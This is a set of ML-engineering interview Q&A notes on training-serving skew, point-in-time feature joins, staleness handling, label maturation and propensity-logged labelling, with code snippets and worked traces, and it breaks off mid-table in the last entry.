Serving-time feature logThe served vector is the recordStrongest evidence, but only covers traffic already served, so it validates rather than builds.

Deciding criteria. If a feature store already serves the feature, use its PIT join and verify it instead of reimplementing the join. If not, hand-rolled SQL is the cheap correct option until the same join is reused across several models, at which point the store earns its cost. Snapshotting is the cheap option when the feature moves slower than the snapshot interval.

Failure modes and how to detect them.

  • Late-arriving events: event_ts before the decision, ingested after the training set was built. Rebuild the set from the same cutoff twice, weeks apart, and diff row counts and values.
  • Nondeterministic tie-break: two events at the same event_ts, ordered without a tiebreaker. Rebuild and diff.
  • Clock or timezone mismatch: decision_ts in local time against event_ts in UTC shifts the boundary by hours. Assert max(event_ts) <= decision_ts per row.
  • Null-handling skew: training drops nulls, serving fills 0. Not leakage, but it produces the same offline-to-serving gap; detect it by logging served vectors.

Illustrative figures for the gap leakage produces:

JoinOffline AUCServed AUC
latest value0.940.71
as-of decision time0.790.78

Fixture.

events = [(user=1, event_ts="10:00", value=5),
          (user=1, event_ts="12:00", value=9)]
row = (user=1, decision_ts="11:00")
assert as_of(row) == 5

The join keeps only events at or before 11:00, so the 12:00 event is excluded and the retrieved value is 5. Add a second case with an event exactly at decision_ts to pin the boundary convention, which is inclusive here.

Curated: · Written: · Reviewed:

Q&A-19A feature is nine days old at serving time. What should the system do?

Nine days old is not a freshness question, it is a "which feature is this" question. The first move is to look up the feature's declared TTL. If the TTL is 24 hours, this value is nine times past its contract and the model is being fed something it was never trained on. If the TTL is 30 days (account age, country, plan tier) nine days is inside the contract, and the right move is to serve it and go find out why anyone looked.

So the answer splits on the contract, and the contract has to exist before the incident.

If the TTL is violated (the usual case for a nine-day-old behavioural feature):

  1. Do not serve the value. Return a sentinel, not the last known value. A stale value is indistinguishable from a fresh one downstream, which is the whole problem.
  2. Route to a fallback that was trained for this: a reduced-feature model, a rules baseline, or a hard refusal. Which one is a product decision made in advance: for a fraud block or a credit decision, refuse; for a ranking feature, degrade.
  3. Alert on the age, not on the model metric. Nine days of staleness means the pipeline has been broken for nine days; the model metric may not move at all if the feature is low-importance, and that silence is what lets it run for nine days.

The check belongs at read time, on the event timestamp:

# Python 3.12
from datetime import datetime, timedelta

MAX_AGE = timedelta(hours=24)

def read_feature(store, entity_id, now):
    row = store.get(entity_id)   # {"value": 0.83, "event_ts": datetime}
    if row is None:
        return None, "missing"
    age = now - row["event_ts"]
    if age > MAX_AGE:
        return None, f"stale:{age}"
    return row["value"], "ok"

Trace with now = 2024-03-10 12:00 and event_ts = 2024-03-01 12:00: age is 9 days, 0:00:00, which is greater than MAX_AGE (one day), so the call returns (None, "stale:9 days, 0:00:00"). The serving layer sees None and takes the fallback path. The check is on event_ts, not on when the row was written: a pipeline that is running fine but copying a frozen upstream source produces fresh writes carrying nine-day-old events, and a write-time check would call that healthy.

Which action, by feature class (worked example, illustrative TTLs):

FeatureTTL9 days vs TTLAction
Clicks in last hour1h216× overRefuse; fall back to model without it
7-day spend aggregate36h6× overRefuse; fall back
Account age, country30d0.3×: insideServe; investigate why you looked

The failure mode to name in the interview is the silent one. A pipeline dies on a Friday deploy; the feature keeps being served from the last good write; nothing alerts because the model's top-line metric is dominated by other features. Two weeks later someone notices a cohort's behaviour shifted. Detection is a per-feature age histogram with an alert on the share of requests served past TTL, sliced by feature, not a model-quality alert, which fires too late and too vaguely to localise.

What to check before deciding: is this one request or the whole population? One request with a nine-day-old event is a join or backfill bug on that entity. Every request at nine days is a dead pipeline. The write timestamp separates them: recent writes with old events means the upstream source is frozen; old writes means the job stopped.

Curated: · Written: · Reviewed:

Q&A-20A feature lookup fails for one request. What does the model receive?

The model receives whatever the serving code substitutes at the point of the failed lookup. That is a decision made in code, not by the model, and there are four things it can be:

  • NaN (or None coerced to NaN): the model sees a missing value;
  • a configured default from a table keyed by feature name;
  • an exception: the request fails and no score is produced;
  • a fallback read from a second store: an offline/batch table, a replica, or a last-known-value cache.

Which one is correct depends on what the model was trained to expect. A gradient-boosted tree trained with NaNs handles them natively; a linear model or an MLP does not.

# Python 3.11 — feature fetch on the serving path
DEFAULTS = {"user_ctr_30d": 0.0, "account_age_days": -1}

def fetch(feature, entity_id, store, cache):
    v = cache.get(f"{feature}:{entity_id}")
    if v is not None:
        return v
    try:
        v = store.get(feature, entity_id)
    except KeyError:
        return DEFAULTS.get(feature, float("nan"))
    cache.set(f"{feature}:{entity_id}", v, ttl=300)
    return v

Trace, request A: feature user_ctr_30d, entity u42, cold cache:

  1. cache.get("user_ctr_30d:u42") returns None.
  2. store.get("user_ctr_30d", "u42") raises KeyError: the entity has no 30-day window yet.
  3. DEFAULTS.get("user_ctr_30d", nan) returns 0.0.

The model receives 0.0. The cache is not written on this path, so request B for the same key repeats steps 1–3.

Trace, request B: feature device_score, entity u42, cold cache:

  1. Cache miss.
  2. store.get raises KeyError.
  3. DEFAULTS.get("device_score", nan) returns nan.

The model receives NaN.

Serving pathWhat the model receives
cache hitthe cached value
store hitthe value, then cached for 300 s
store miss, feature in DEFAULTS0.0 or -1
store miss, feature absent from DEFAULTSNaN
strict schema validationexception; request fails, no score

Failure modes worth naming:

  • NaN into a model that cannot take it. Trees learn a default direction per split, so NaN is absorbed, but the direction was learned from training data. If training sent 0.0 and serving sends NaN, the tree takes a different branch. A linear model or MLP propagates NaN straight to the output score.
  • Falsy check. if not v: treats a cached 0.0 as a miss, so a legitimate zero re-fetches on every request.
  • Default not cached. Every request for that entity hits the store. One hot entity with a missing feature becomes a miss storm against the feature store.
  • Missingness indicator left at 0. If training had an is_missing feature, serving must set it to 1 here. Leaving it 0 tells the model the value is real.
  • Default ≠ training imputation. Training imputed the median 340; serving sends 0.0. Hypothetical but typical: a score averaging 0.42 in training lands at 0.11 for affected requests. Same model, different input distribution, no error raised.

Detection: log the substituted value and a missing flag per feature per request, and alert on the per-feature missing rate rather than the overall error rate. A default substitution returns 200 OK, so nothing else in the stack will notice it.

Curated: · Written: · Reviewed:

Q&A-18How do you prove the feature store serves what training used?

The 90-second answer. Parity is a measured property, not a design property. Two stores fed by different jobs diverge through materialisation lag, late events and type coercion, and the divergence shows up as model quality loss, not as an error. The proof is two things running together: training-time logging, which writes the values actually served back to the offline store, and a scheduled job that reads the same entity from both paths at the same effective time and reports a mismatch rate. Neither alone is enough: logging only covers entities that were served, and sampling only covers entities you picked.

Assumptions: online store is a key-value store (Redis, DynamoDB) written by a materialisation job from an offline table (Parquet, BigQuery, Snowflake); offline reads are point-in-time correct; features are keyed by entity id plus event timestamp.

Four ways to prove it, and what each costs.

ApproachCatchesCostBlind spot
Training-time logging (Feast feature logging, Tecton training data)the exact values served, per requestwrite amplification on the serving path; storageonly entities actually served; nothing from before you deployed it
Shadow dual-read (read both, compare, return one)every request, in real timedoubles read latency and cost on the hot pathboth stores must be reachable from serving; usually sampled anyway at volume
Continuous sampled parity jobdrift, silent job failure, coercionone extra read per sampled entitysamples only; rare features and rare entities get missed
Build-time / CI parity checkschema and transform regressionscheapnothing at runtime: it passes while the materialisation job is dead

Failure modes and how you catch them. Silent materialisation failure: online values freeze while offline history stays correct, and every offline evaluation keeps passing. Detect with a freshness metric per feature group, max(event_time) in the online store versus now, alerting when it exceeds twice the materialisation interval. Late events: a point-in-time join picks up a value that arrived after the label; detect by re-materialising a window and diffing the offline values at the same timestamp. Type coercion: float32 in Redis against float64 in Parquet, or an int key against a string key. Default fill on miss: online returns 0 or null for an absent key, which is worse than a mismatch. Count online misses as a separate metric, not as a mismatch.

Sampling arithmetic. A sweep of 200 entities an hour is 4,800 samples a day. At a true mismatch rate of 0.1% that is ~4.8 mismatches; at 0.5% it is ~24. The standard deviation of that difference is sqrt(4.8 + 24) ≈ 5.4, so the two are ~3.6σ apart and one day separates them. It does not separate 0.1% from 0.2%: 4.8 against 9.6, sd ≈ 3.8, about 1.3σ, so a per-feature alert on a small shift needs a week's window or a higher sample rate. Alert on the rate over a window, never on a single mismatch.

The comparator is where most parity jobs quietly lie.

# python 3.11
def equal(off, onl, tol=1e-6):
    if off is None or onl is None:
        return off is None and onl is None
    if isinstance(off, float) and isinstance(onl, float):
        return abs(off - onl) <= tol * max(1.0, abs(off))
    return off == onl

Traced: equal(0.1 + 0.2, 0.3) → the left side is 0.30000000000000004, the gap is 5.6e-17, tolerance is 1e-6, so True. equal(None, 0.0) → False, a miss is not a match. equal(3, 3.0) → the left is an int, so it falls through to == and returns True.

When this is not worth it. If the online store is a materialised view of the same offline table written by the same job, parity is structural and a freshness alert on that job is sufficient. If scoring is batch-only there is no online path to compare. And for a handful of low-stakes features, a CI check plus a freshness metric buys most of the value without a second read on the serving path.

Curated: · Written: · Reviewed:

Q&A-70Should training and serving share transformation code?

Yes, but share the definition, not necessarily the runtime. Assume a model trained in batch on the same event stream it scores on, with an online p99 budget in the tens of milliseconds.

Two implementations of one transform are two specifications. They agree on everything you wrote a test for and diverge on the rest: null vs. missing, empty string vs. NaN, event time vs. processing time, timezone, float32 vs. float64 accumulation, unseen categorical levels, window edges. The divergence is not a bug in either implementation; it is the absence of a single source of truth.

Three ways to hold the semantics together, and when each is right:

ApproachMechanismCostFails when
Shared runtimeServing imports the training transformLatency, dependency weightServing is Java/Go, or the budget is under 10 ms
One definition, two artefactsTranspile (TFX Transform, Spark ML → ONNX, Feast)Build complexityThe transform uses an unsupported UDF
Independent impls + parity gateReimplement, CI fails on mismatchTest infra, sampled entity storeThe sample misses the divergent tail

The third is the fallback, not the default: it is the only one that works across languages, and the only one that can silently rot when the sample drifts.

Failure modes worth naming, with how you catch each:

  • Null/default divergence. Training imputes the training median; serving defaults to 0.0. Caught by a parity test over real entities, not fixtures.
  • Time semantics. Training aggregates by event time from the log; serving aggregates by arrival time. Caught by comparing per-feature distributions (PSI or KS) between the training snapshot and live serving, daily.
  • Vocabulary drift. A categorical level unseen at training time maps to a different bucket at serving. Caught by logging the raw value on any unseen-level hit.
  • Precision. float32 in the model server vs. float64 in Spark. Caught by a tolerance in the parity test, not exact equality.

The parity test is the artefact that makes this checkable:

# parity_test.py — CI gate, run against a sampled entity store
import pandas as pd

def check_parity(entities: pd.DataFrame, train_fn, serve_fn, tol=1e-6):
    train_out = train_fn(entities)
    serve_out = serve_fn(entities)
    diff = (train_out - serve_out).abs()
    bad = diff > tol
    if bad.any():
        worst = diff.idxmax()
        raise AssertionError(
            f"{int(bad.sum())}/{len(entities)} rows diverge; "
            f"max delta {diff.max():.6g} at {worst}: "
            f"{entities.loc[worst].to_dict()}"
        )

Run it on sampled production entities, not synthetic fixtures: the divergence lives in the tails the fixtures do not cover.

Worked example (hypothetical figures). An avg_order_value_7d feature: training imputes missing with the training median, 0.62; the serving reimplementation defaults to 0.0. Three percent of entities have no orders in the window. At 500 QPS that is 15 requests/s scored with a feature 0.62 off, roughly 2.7×10^8 requests over seven months. Every unit test passed, because every fixture had orders.

The failure mode to avoid is two implementations drifting with nothing comparing them: that is the case where the model silently scores on features it was never trained on.

Curated: · Written: · Reviewed:

Q&A-102Your training features come from a nightly SQL job and your serving features from a Python service. How do you detect and prevent skew between the two?

First thing I'd say: don't call it skew until you've ruled out the cheaper explanations. A model that scores 0.89 offline and 0.72 online can be skew, but it can also be a stale model, a label that leaked into training, or a traffic mix that shifted. The skew hypothesis makes a specific prediction: for the same entity and the same event time, the offline and online values of a feature differ. So the first move is to test that prediction directly, not to start rewriting pipelines.

Detection. Log the served feature vector for every prediction, keyed by request ID, entity ID and event timestamp. Then run a job that takes a sample of those served rows, a few thousand is enough, and recomputes the same features through the offline path for the same entity and timestamp. Diff them per feature. You're looking for two things: a systematic offset (online always 0 where offline is null, or a unit difference) and a distribution shift (online p50 is 12, offline p50 is 9). A per-feature table is the artefact:

FeatureOffline p50Online p50% rows differing >1%Likely cause
txn_count_7d91241%window boundary: offline uses calendar days, online uses rolling 168h
merchant_risk0.310.310.2%fine
device_age_days214063%null filled with 0 online, dropped offline

That table tells you where to look. A 41% disagreement on one feature is your skew; 0.2% is noise.

How it arises. Almost always one of five things: different code (SQL vs Python), different time semantics (event time vs processing time, calendar vs rolling windows), different null/default handling, different join keys or data sources (warehouse table vs online KV), or different versions of a dependency (tokenizer, embedding model, normalisation library). The window-boundary one is the most common and the hardest to see, because both implementations are "correct": they just answer different questions.

Prevention. Three layers, in order of strength:

  1. One definition, two runtimes. A feature store or a shared transformation library that compiles the same expression to both paths. If you can't share code, share a spec and test it.
  2. Contract tests in CI. For a fixture of entity IDs and timestamps, run both paths and assert equality within a tolerance. This catches the null-fill and unit bugs before they ship.
  3. Log served values and retrain on them. The served vector is the ground truth for what the model actually saw. If you retrain on offline-computed features, you're training on a different distribution than you serve.
def test_txn_count_7d_matches_offline():
    entity, ts = "u_123", "2024-03-01T00:00:00Z"
    offline = offline_features.txn_count_7d(entity, ts)
    online = online_features.txn_count_7d(entity, ts)
    assert abs(offline - online) <= 0.01 * max(1, offline)

Trade-offs and failure modes. A feature store adds a serving dependency and latency, typically 5–20 ms per lookup, and its own consistency problem: the online store can lag the offline store by minutes. Shared code is hard when offline is SQL and online is Java; a compiled spec or a DSL is the usual compromise. Watch for backfills that rewrite history (your offline values change, your online values don't), timezone handling, and cache TTLs that serve a stale value for the first request after a write. Detect these with a skew monitor that alerts on per-feature disagreement rate, not just on model accuracy: accuracy is a lagging signal by days.

If I had to pick one thing: log the served vector and diff it against the offline recomputation on a schedule. That single job catches most skew before it reaches a metric.

Curated: · Written: · Reviewed: —

Q&A-17An upstream team renames a column and your model degrades. Whose fault is it?

The 90-second answer

It's a shared failure, and the fault line is drawn by one question: did a contract exist, and who owned detection? A rename is a normal event. A rename nobody noticed for eleven days is the defect. If upstream signed a contract and broke it, the fault is theirs and the fix belongs in their CI. If no contract existed, the fault is split: upstream shipped a breaking change with no notice, and you had no mechanism that could have caught it. Blameless postmortem, but action items land on both sides.

State three assumptions before assigning anything: how many consumers read that table, how often the model retrains, and how long the label delay is. A table with one consumer and a nightly retrain needs far less machinery than one with six consumers and an 11-day label lag.

Three mechanisms, and what each costs

MechanismCatchesCostFails when
Schema registry with compatibility rulesRenames, type changes, dropped columns, at write timeProducer must register every schema; migration for existing tablesSemantics change without a type change (cents → dollars)
Contract tests in the producer's CIAnything the contract asserts, before mergeProducer owns test maintenance; needs a shared schema definitionContract drifts from what the model actually reads
Consumer-side monitoring (null rate, PSI on features, prediction distribution)Anything, including semantic changesNo producer buy-in; detection is after the factSlow drift looks like noise; label delay hides it

The registry is strongest for structural breaks and weakest for meaning. Consumer monitoring is the only one that catches a unit change, because cents and dollars are both int64. You generally want the registry for structure and monitoring for meaning: they cover different failure classes.

The incident that made me specific

A field changed from integer cents to decimal units with no announcement. The model's dominant feature was silently divided by a hundred. Quality fell for 11 days before anyone traced it, because the retrain pipeline kept succeeding: it just learned from garbage.

FieldWasBecameConsumers notified
amountinteger centsdecimal units0 of 6

A registry would not have caught this. A PSI monitor on amount would have, on day one.

Enforcing it where the change happens

# Python 3.11, pandera 0.19
import pandera as pa

contract = pa.DataFrameSchema(
    columns={
        "amount_cents": pa.Column("int64", checks=pa.Check.ge(0)),
        "currency": pa.Column(str, checks=pa.Check.isin(["USD", "EUR"])),
    },
    # strict=False: additive columns pass; renames and type changes fail
)
contract.validate(df)  # runs in the producer's CI, not the consumer's

Running this only in the consuming pipeline is the common mistake: you find out after the data has already landed.

When a contract is not worth the overhead

Skip it when the table has one consumer, the model is retrained from scratch nightly, and a bad day costs a dashboard refresh. The overhead is real: a registry adds a registration step to every producer deploy, and a contract test suite is code someone has to keep green. The rule I use: build the contract when a silent break would take longer to detect than to prevent. With a 30-minute retrain and a same-day label, monitoring alone is enough. With an 11-day label delay and six consumers, the contract pays for itself the first time it fires.

Failure modes and how you'd see them

  • Rename with no notice: null rate on the feature jumps to 100% at the next batch. Alert on null rate per required column.
  • Unit change: the feature distribution shifts by orders of magnitude. PSI or a KS test against a reference window catches it, but only if you monitor the raw feature, not just the model output.
  • Contract nobody updates: the test passes and the model still breaks, because the contract no longer matches what the model reads. Review the contract whenever the feature set changes.

Curated: · Written: · Reviewed:

Q&A-68Predictions look wrong. How do you tell whether the model or the data broke?

Start with the timeline. A model is a fixed function between deployments. If the model version and feature pipeline version are unchanged, the inputs changed. That is the first fork, not the conclusion.

Clarify what "wrong" means: a drop in a metric with labels, a segment regression, or a latency spike. If labels are delayed, you cannot compute accuracy; use input freshness and drift as proxies.

Run these checks in order. Each one rules out a larger class of causes.

CheckMechanismSignal / rule of thumbAction
Model versionModel registry (MLflow, SageMaker Model Registry) records artifact hash and deployment timestamp. Compare incident start to deployment history.Any version change in window.Roll back first; fastest reversible action.
Input validity and freshnessCheck max event timestamp against now; null rate, schema, range. Tools: Great Expectations, dbt tests, Monte Carlo.Max event older than 2x normal batch interval; null rate 0.1% -> 5%; missing column.Page upstream; stop pipeline.
Feature parityTraining-serving skew: for sample entity IDs, compare online feature values to offline store. Compute mean and quantiles per feature. Feast/Tecton log this.Online mean differs > 3σ from offline, or PSI > 0.2.Fix feature pipeline.
DriftPSI or KS on input features vs training baseline. Label drift: confusion-matrix shift by segment.PSI < 0.1 stable, 0.1-0.2 moderate, > 0.2 significant.Investigate; not auto-retrain.
Model healthArtifact loads, inference server version, preprocessing code, library versions.Load error, runtime version change.Redeploy or pin runtime.

Trade-offs. Rollback is fast and safe if the model version changed. Fixing upstream and backfilling is correct for a data incident but delays recovery. Retraining is the wrong first move: if you train on the corrupted window, the model learns the outage pattern. Wait for a clean window, or filter the bad period. Shadow serving or a fallback heuristic buys time while you investigate. The decision changes when labels are delayed: then accuracy is unavailable, so freshness and parity decide. It also changes when drift is legitimate: then retrain on recent clean data, not rollback.

Failure mode I have seen: a team retrained in response to a quality drop caused by an upstream feed outage. The new model was trained on the corrupted window and made the incident worse. Detection: training data freshness and validity checks, plus a holdout on a clean period.

Arithmetic for PSI: PSI = sum((actual% - expected%) * ln(actual%/expected%)). If one bucket goes from 10% to 30%, contribution = (0.3 - 0.1) * ln(0.3/0.1) = 0.2 * 1.099 = 0.22, already above 0.2. One shifted bucket can flag the feature.

Curated: · Written: · Reviewed:

Q&A-69You fix a feature bug. What do you do about the history?

A feature bug means the stored values are wrong, not just the code path that produced them. So the fix has two halves: correct the computation, and correct the history. Backfill the corrected values into the historical rows at the event times they should have had, write them as a new version rather than overwriting, and re-run every evaluation and model that consumed the feature. Until the backfill lands, the fix is not done.

Why a forward-only fix is a trap

If you only fix forward, the feature's distribution steps at the fix date. A model trained across that step sees two regimes and can use the feature as a proxy for time. Gradient-boosted trees will split on it; a linear model fits a coefficient that is an average of the two regimes. Either way the model is fitting your deployment calendar, not the world. The symptom shows up as the feature ranking high in importance for a reason nobody can explain from the domain.

What the backfill has to get right

  • Key on the event timestamp, not the processing timestamp. Backfilling with the fix time leaks the future into the training row.
  • Write a new version, don't overwrite. You need to reconstruct the pre-fix training set to explain the old model and to A/B the fix.
  • Record the correction: feature, version, affected interval, reason, approver. This is the audit trail when someone asks why last quarter's numbers moved.
  • Invalidate everything downstream: offline aggregates, the online feature store, cached training sets, dashboards.
INSERT INTO feature_values (entity_id, event_ts, feature_version, value)
SELECT entity_id,
       event_ts,                        -- when it happened, not when we fixed it
       'v2',
       corrected_value
FROM raw_events
WHERE event_ts < DATE '2024-06-01';     -- the interval the bug affected

Worked example (numbers illustrative)

A feature that should average around 0.4 was computed with a unit error for 14 months. Forward-only fix:

WindowMeanStd
v1, before fix date0.420.11
v1, after fix date1.090.10
v2, after backfill0.440.12

Train on the v1 series and the model can separate the two windows on this feature alone. A date-split ablation, retrain with and without a days_since_fix column, shows AUC dropping when the date column is removed, which is the tell that the model was leaning on the step.

Failure modes

  • Backfilling with the processing timestamp instead of the event timestamp: silent leakage, and the offline/online skew you were trying to remove gets worse.
  • Overwriting in place: the old model becomes unreproducible, so you cannot prove the fix helped.
  • Backfilling a definition change rather than a bug. If the business rule genuinely changed on a date, the old values were correct for their time; rewriting them destroys real signal. Backfill computation bugs, not policy changes.
  • Fixing offline only: the online feature store keeps serving v1, so training and serving disagree after the "fix".

How you know it is done

Compare the feature's distribution either side of the fix date and require no discontinuity, a KS test or PSI below your threshold, before training across it. Then confirm the date column carries no importance in the retrained model.

Curated: · Written: · Reviewed:

Q&A-76A feature must reflect the last five minutes. How do you compute it?

What I'd say first

"Last five minutes" is ambiguous until you fix three things: event time or processing time, sliding or tumbling, and how late an event can be and still count. I'd assume event time, a sliding window that updates on every event, and 30 seconds of allowed lateness, then confirm with the interviewer, because each choice changes the number.

Mechanism

Keep per-key state: a deque of (event_time, value) plus a running aggregate. On each event, insert in event-time order, evict entries older than max_event_time - 300s, update the aggregate. Watermark = max event time seen minus allowed lateness; events below the watermark are dropped or routed to a side output.

Worked trace, times in seconds:

stepeventdeque aftersum
1(0, 10)(0,10)10
2(60, 20)(0,10),(60,20)30
3(120, 30)(0,10),(60,20),(120,30)60
4(300, 40)(60,20),(120,30),(300,40)90
5(310, 50)(120,30),(300,40),(310,50)120
6(280, 60) late(120,30),(280,60),(300,40),(310,50)180

At step 6 the watermark is 310−30 = 280, so the late event is accepted. Had it arrived at t=320 the watermark would be 290 and it would be dropped.

Trade-offs

choicewhen it winswhat it costs
tumbling 5-mincheap, one window per keyvalue stale by up to 5 min
sliding, 1s hopfresh to the second300 overlapping windows per key; state and checkpoint size scale with hop count
single ring buffer (above)O(events in window) state, no window explosionyou own eviction, ordering, and restore logic
processing timeno watermarks, trivialconsumer lag silently shifts the window; feature drifts
event timecorrect under replay and lagwatermarks, lateness policy, idle-partition handling
at-least-once + idempotent upsertsimpler, cheaperduplicates must be absorbed by keying on (entity, window_end)
exactly-once (Flink checkpoints, Kafka transactions)no duplicate writescheckpoint latency, transactional overhead

Engine: Flink if you need event-time watermarks and exactly-once across operators; Kafka Streams if the feature lives next to the topic and you want an embedded library; Spark Structured Streaming if you already run micro-batches and can accept the batch interval as the latency floor; Materialize or RisingWave if you want SQL and incremental view maintenance.

Kafka Streams 3.x, hopping window:

events.groupByKey()
  .windowedBy(TimeWindows.ofSizeAndGrace(Duration.ofMinutes(5), Duration.ofSeconds(30))
                         .advanceBy(Duration.ofSeconds(1)))
  .aggregate(() -> 0.0, (k, e, sum) -> sum + e.value(),
      Materialized.as("last5min"));

Failure modes

  • Idle partition stalls the watermark; the window never fires and the feature freezes. Alert on watermark lag per partition > 2× allowed lateness.
  • Late events beyond grace are dropped silently; the feature undercounts. Emit a dropped-late counter; if it exceeds ~0.1% of events, widen grace or revisit the contract.
  • State blowup: 1M keys × 10 events/s × 300s = 3B events in state. Watch RocksDB size per task and checkpoint duration.
  • Training/serving skew: if training reconstructs over full history and serving drops events more than 30s late, distributions differ. I've seen 12.4 vs 11.4 mean on the same key set: 8% of values diverged. Replay the same out-of-order stream through both paths and require equality.

Curated: · Written: · Reviewed:

Q&A-10Your label is defined over 60 days and you retrain weekly. What breaks?

Assumptions. The label is "churned within 60 days of the decision date." The decision date is the row's anchor: signup, renewal, or a weekly snapshot. The outcome is observable only 60 days after that anchor. Retraining runs weekly.

Direct answer. Two things break. The training window silently includes rows whose label is not yet determined, and the weekly cadence gives you freshness you do not have.

The first is the expensive one. If the label job writes an unsettled row as "not churned", which is what happens when it runs against whatever is available, the target is wrong in a direction, not at random. Fast cancellers settle in days and are labelled correctly. Slow churners are still open and get labelled negative. The model is taught that churn is a fast event.

The second is subtler. With a 60-day label, the newest fully-labelled row is 60 days old however often you retrain. Weekly retraining re-fits the same stale target more often; the freshness you gain is in the feature pipeline, not the label. If you retrain weekly to chase drift, you are chasing it with a two-month-old view of the outcome.

What contamination looks like. Hypothetical figures, 60-day churn label, window running to the run date:

Window ageRows settledChurn rate over the window (unsettled = negative)Churn rate among settled rows
0–14 days21%1.9%9.0%
15–59 days68%4.1%6.0%
60+ days100%6.3%6.3%

Two readings. The window-level rate climbs with age because the denominator is fixed while the numerator is still filling in: 1.9% at 0–14 days against 6.3% once everything settles, a factor of 3.3. And the settled rows in the young window are enriched in churners, 9.0% against 6.3%, because the only people who have resolved are the ones who left early. Train on that window and you get a model that leans on early-cancellation features and predicts a base rate near 1.9% when the truth is 6.3%.

Baseline policy. Declare the maturation delay as a property of the label, not a tuning knob. Exclude any decision date within 60 days of the run date from training and evaluation, and assert it: max(decision_date) <= run_date - 60 days. Evaluation matters as much as training: an immature holdout shows improving metrics while production degrades.

Alternatives, and when the strict rule is wrong.

  • Discrete-time hazard model. Model the per-day hazard of churn and right-censor unsettled rows instead of dropping them. You keep the recent 60 days and handle censoring properly. Cost: serving must convert a hazard into a 60-day cumulative probability, and calibration is harder than for a binary classifier.
  • Inverse-probability-of-censoring weighting. Keep the recent rows, weight each by 1/P(settled by now | features). Cheaper than survival, but the weights come from a model that can be wrong, and variance explodes for the youngest rows where P is small: a few rows carry most of the weight.
  • Proxy or interim labels. Train on 14-day churn, or on "cancellation request filed," as an auxiliary target. Right when the decision threshold is coarse or the business needs a signal inside the 60-day window. Wrong when the proxy drifts on its own schedule, then you have two moving targets.

The strict exclusion is not always right. If the outcome is observed at a fixed event (a contract end, a renewal) there is no censoring and nothing to exclude. If the horizon is short relative to the retrain cadence, the exclusion costs little and the alternatives are not worth the complexity. The rule bites when the horizon is long relative to the cadence and the outcome is genuinely time-to-event.

Failure modes and detection.

  • Silent contamination. Offline AUC rises weekly while production degrades. Hold out a mature-only evaluation set and compare the two curves; they should track.
  • Window drift. Monitor the settled fraction of each training window. Under the strict policy it should be 100%; any dip means a row slipped through.
  • Label rate by age. Plot churn rate against window age. A monotone climb is the signature; a flat line means you are fine.

An immature label is a different label.

Curated: · Written: · Reviewed:

Q&A-11Your recommender retrains on click logs. What is the risk?

The answer in 90 seconds. The risk is that the model trains on data its own policy generated, so exposure bias becomes label bias. Clicks only exist for items you showed. An item never shown has no clicks, and the trainer reads that as evidence it does not convert. Each retrain narrows exposure, which narrows the next training set, and the loop converges on the model's own past choices rather than on user preference.

Two harms follow, and they are separable:

  1. Coverage collapse and popularity amplification: the served catalogue shrinks toward a head of proven items; new and long-tail items starve.
  2. Evaluation decoupling: offline metrics computed on logged data improve while online quality degrades, because the eval set is drawn from the same biased policy. This is the one that gets you, because the dashboard says ship.

Assumptions that matter: impression-level logs with position, no randomised exploration traffic, clicks as the only label, retraining on a window shorter than the item lifecycle.

Mechanism. P(click | item, position) is not relevance. Position bias means the top slot collects clicks regardless of the item. The label is missing-not-at-random: it is only observed under the logging policy. So the training distribution drifts toward whatever the policy already ranked highly, and the model's confidence in its own ranking grows with each cycle.

An illustrative coverage trace (figures made up to show the shape, not measured):

CycleDistinct items servedOffline CTR
112,4000.041
44,1000.048
89000.052

Offline CTR rising while coverage falls is the signature: the metric is computed on the items the model already chose.

Correction. Reserve a randomised slice, 1–5% of traffic served by a uniform or epsilon-greedy policy, log the propensity of every served decision, and evaluate with inverse propensity scoring rather than raw logged CTR:

# logs: (item_id, position, clicked); propensity[position] from the randomised slice
num = sum(clicked / propensity[pos] for _, pos, clicked in logs)
den = sum(1.0 / propensity[pos] for _, pos, clicked in logs)
ctr_ips = num / den   # self-normalised IPS

Doubly-robust estimators add a reward model on top and cut variance when propensities are small.

Detection and failure modes.

  • Coverage collapse: distinct items served per week against catalogue size, not against last week's training set. Alert when a 28-day window covers under 60% of the catalogue.
  • Popularity amplification: Gini coefficient of the impression distribution climbing cycle over cycle.
  • Cold-start starvation: new items receiving near-zero impressions in their first 48 hours.
  • Clickbait drift: clicks up, dwell time or completion down. The label is a proxy, and the model optimises the proxy.
  • Offline/online divergence: offline AUC up, online session success flat or down.

When not to worry. If the label is a downstream outcome (purchase, watch completion) rather than a click, and exploration is adequate, the loop is much weaker. Short retrain windows over fast-churning catalogues also dilute it.

Gate and rollback. Guardrail on the exploration slice: coverage and diversity floors, plus a kill switch that reverts to the previous model version if online guardrails breach for two consecutive days. Log the model version and the scores behind every served decision so selection can be corrected after the fact.

Curated: · Written: · Reviewed:

Q&A-81How do you build a labelled set from a system already running?

The first 90 seconds. Ask two things before answering: what is the label, and how long after the decision does it arrive? Then answer directly: you don't harvest labels from a running system, you sample them from it, and you log the probability of selection at decision time so the sample can be reweighted later. Concretely: keep the model's review queue for training volume, add a randomised audit arm that goes to review regardless of score, and write a propensity onto every case. Estimate metrics on the audit arm, or on the whole reviewed set with inverse-propensity weights. Never estimate a metric from the queue alone.

Why the queue is not a sample. The deployed model is a selection function. A case reaches a human only if the model scored it high or a rule fired. The reviewed set is therefore conditioned on the model's own output: what it already catches is over-represented, what it misses is nearly absent. Train on that and the model learns to reproduce its own decisions; measure on it and you are reporting the model's agreement with itself. The bias is not a rounding error: it is roughly the size of the model's blind spot.

The design. Three arms, each with a propensity P(reviewed | case) logged at decision time:

ArmSelectionPropensityUsed for
Queuescore ≥ threshold1.0training volume
Audituniform random, 1–5%audit rateunbiased metrics
Outcomedelayed ground truth (chargeback, churn)1.0 where it maturestraining, plus metrics on the matured subset

Stratify the audit by score band rather than sampling uniformly. Same review budget, but you guarantee coverage of the band just below the threshold, which is where the errors live.

Propensity logging and IPW recall.

# Python 3.12
import random

AUDIT_RATE = 0.02

def log_decision(case_id, score, threshold):
    audit = random.random() < AUDIT_RATE
    flagged = score >= threshold
    return {
        "case_id": case_id,
        "score": score,
        "reviewed": audit or flagged,
        "propensity": 1.0 if flagged else AUDIT_RATE,  # fixed now, never recomputed
    }

def ipw_recall(rows):
    """Horvitz-Thompson recall over rows whose label was observed."""
    seen = [r for r in rows if r["label"] is not None]
    w = lambda r: 1.0 / r["propensity"]
    tp = sum(w(r) for r in seen if r["label"] == 1 and r["pred"] == 1)
    pos = sum(w(r) for r in seen if r["label"] == 1)
    return tp / pos if pos else float("nan")

Trace it on five reviewed cases (threshold 0.8, audit rate 0.02):

casescoreflaggedreviewedpropensitylabelpred
A0.93yesyes1.0011
